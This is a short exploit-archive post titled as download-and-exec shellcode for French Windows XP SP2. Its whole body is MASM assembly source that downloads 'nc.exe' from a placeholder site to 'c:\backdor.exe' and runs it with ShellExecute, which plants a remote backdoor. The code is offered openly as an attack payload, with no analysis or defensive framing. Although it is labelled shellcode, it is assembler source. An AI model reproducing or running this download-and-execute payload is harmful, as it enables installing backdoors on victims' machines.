WinXP SP2 Fr Download and Exec Shellcode

Exploit Title  winxp sp2 fr  download & exec                             ::
Date 06/5/2010
Author : Crack_MaN                             ::


code:



;-------------------------------------------

.586
.model flat,stdcall
option casemap:none

   include windows.inc
   include user32.inc
   include kernel32.inc
   include shell32.inc
   include urlmon.inc
   
   includelib user32.lib
   includelib kernel32.lib
   includelib shell32.lib
   includelib urlmon.lib

.data
URL db "http://www.site.com/nc.exe",0
PATH db "c:\backdor.exe",0

.data?
hResult dd ? 

.code


; ---------------------------------------------------------------------------


start:

   invoke URLDownloadToFile,0,addr URL,addr PATH,0,0
    mov hResult,eax
    .if eax!=1
    	invoke ShellExecute,0,0,addr PATH,0,0,SW_SHOW
    	 .endif

end start